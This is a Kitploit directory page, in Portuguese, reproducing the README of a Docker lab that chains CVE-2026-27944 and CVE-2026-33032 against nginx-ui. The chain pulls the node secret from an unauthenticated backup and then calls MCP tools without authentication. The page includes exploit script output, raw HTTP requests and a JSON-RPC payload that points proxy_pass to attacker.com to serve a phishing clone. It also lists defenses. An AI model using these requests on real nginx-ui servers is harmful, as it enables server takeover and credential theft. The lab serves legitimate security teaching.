Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — Docker Compose setup para demonstrar a vulnerabilidade de autenticação ausente no nginx-ui | Kitploit
Ferramentas/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingLabs e Prática
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker Compose setup para demonstrar a vulnerabilidade de autenticação ausente no nginx-ui

Ver Repositório
13há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27944 + CVE-2026-33032 — Laboratório de RCE sem Credenciais no nginx-ui

Aviso: Este repositório destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada. Todas as técnicas demonstradas aqui devem ser usadas apenas contra sistemas que você possui ou para os quais possui permissão explícita por escrito para testar. Os autores não se responsabilizam por uso indevido. Não execute isto contra qualquer sistema sem autorização.

Um laboratório autossuficiente em Docker Compose que demonstra uma cadeia de duas CVEs contra o nginx-ui v2.3.1, alcançando a tomada total do nginx com zero conhecimento prévio — sem nomes de usuário, sem senhas, sem tokens.


Cadeia de Vulnerabilidades

CVE-2026-27944 — Endpoint de Backup sem Autenticação + Divulgação de Chave

GET /api/backup não requer autenticação. O endpoint retorna um backup criptografado completo da instalação do nginx-ui — incluindo app.ini — e envia a chave de descriptografia AES-256-CBC e o IV em texto puro no cabeçalho da resposta:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

Do código-fonte (api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ sem middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

A descriptografia do backup produz o app.ini, que contém o [node] Secret necessário para a Etapa 2.

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 Crítico
Afetadonginx-ui < 2.3.2
Corrigido emnginx-ui 2.3.3

CVE-2026-33032 "MCPwn" — Manipulador de Mensagens MCP sem Autenticação

O nginx-ui v2.3.x adicionou uma interface Model Context Protocol (MCP) expondo 12 ferramentas de gerenciamento do nginx. O bug é uma única chamada de middleware ausente em mcp/router.go:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ AuthRequired() AUSENTE

Com um sessionId obtido por meio do segredo do nó, um atacante pode enviar POST para /mcp_message sem credenciais de usuário e invocar qualquer ferramenta privilegiada — incluindo nginx_config_modify e reload_nginx.

CVECVE-2026-33032
AliasMCPwn (Pluto Security)
CVSS9.8 Crítico
Afetadonginx-ui ≤ 2.3.3
Corrigido emnginx-ui 2.3.4

Arquitetura do Laboratório

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  Navegador                                                │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Atacante                          ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) VULNERÁVEL │
│  (sem credenciais)         uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (verde)          │  formulário de  │
│              │  proxy_pass padrão      │  login legítimo  │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (vermelho)│  clone de      │
│              │  proxy_pass após ataque │  phishing        │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

O nginx-ui inclui sua própria instância do nginx. Quando o exploit chama reload_nginx via MCP, ele recarrega o mesmo nginx que serve tráfego na porta :8080 — sem necessidade de acesso ao host.


Início Rápido

Requisitos: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080Site da vítima — verde (legítimo)
http://localhost:9000Painel administrativo do nginx-ui

Executando o Exploit

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

O script encadeia ambas as CVEs sem credenciais prévias:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  RCE sem Credenciais no nginx-ui
  Alvo : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — baixando backup (sem autenticação)
[+] Chave AES+IV do cabeçalho: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Segredo do nó extraído: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — abrindo sessão MCP sem autenticação (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Reconhecimento — lendo configuração atual
[+] Atual: proxy_pass http://webapp:80;

[*] Sobrescrevendo default.conf via POST /mcp_message (sem autenticação)
[+] Novo:     proxy_pass http://malicious_site:80;

[*] Recarregando nginx via POST /mcp_message (sem autenticação)
[+] nginx recarregado — configuração ativa

[!] Ataque concluído.
    As vítimas em http://localhost:8080/ agora recebem a página de phishing.
    Veja as credenciais capturadas: http://localhost:8080/?debug=1

Após o exploit, http://localhost:8080 muda da página legítima verde para o clone de phishing vermelho — na mesma URL, sem qualquer indicação para a vítima.

Abra http://localhost:8080/?debug=1 para revelar o painel do atacante e ver as credenciais capturadas em tempo real.

Redefinição

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

Usa a mesma cadeia de CVEs para restaurar a configuração original e recarregar o nginx.


Como Funciona

Etapa 1 — Extrair o segredo do nó (CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: alvo:9000

Resposta:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

Descriptografe o zip com a chave/IV fornecidos → extraia app.ini → leia [node] Secret.

Etapa 2 — Sequestrar o nginx (CVE-2026-33032)

Requisição 1 — Abrir sessão SSE (segredo do nó, sem autenticação de usuário):

root@kitploit:~
GET /mcp?node_secret=<uuid>

O fluxo SSE responde com um sessionId.

Requisição 2+ — Invocar ferramentas (sem autenticação alguma):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

Sem cabeçalho Authorization. Sem cookie. AuthRequired() está simplesmente ausente na rota /mcp_message.


Ferramentas MCP Disponíveis (todas acessíveis sem autenticação)

FerramentaImpacto
nginx_config_modifySobrescrever qualquer arquivo de configuração
nginx_config_addCriar novos arquivos de configuração
nginx_config_getLer qualquer arquivo de configuração
nginx_config_listListar todas as configurações
nginx_config_enable/disableAtivar/desativar configurações de sites
nginx_config_renameMover/renomear arquivos de configuração
nginx_config_mkdirCriar diretórios
nginx_config_historyVisualizar histórico de alterações
nginx_config_base_pathRevelar caminho raiz das configurações
nginx_statusVerificar status do nginx
reload_nginxAplicar alterações de configuração em tempo real
restart_nginxReinicialização completa do nginx

Defesas

  • Correção — atualize para nginx-ui ≥ 2.3.4
  • Isolamento de rede — nunca exponha o nginx-ui a redes não confiáveis; coloque-o atrás de uma VPN ou firewall
  • Lista de permissões de IP — defina um [node] IPWhiteList não vazio em app.ini para restringir o acesso MCP a IPs específicos
  • MFA — habilite autenticação multifator na conta de administrador
  • FIM — monitore /etc/nginx/conf.d/ com monitoramento de integridade de arquivos (auditd, Wazuh, etc.)
Baixar ferramenta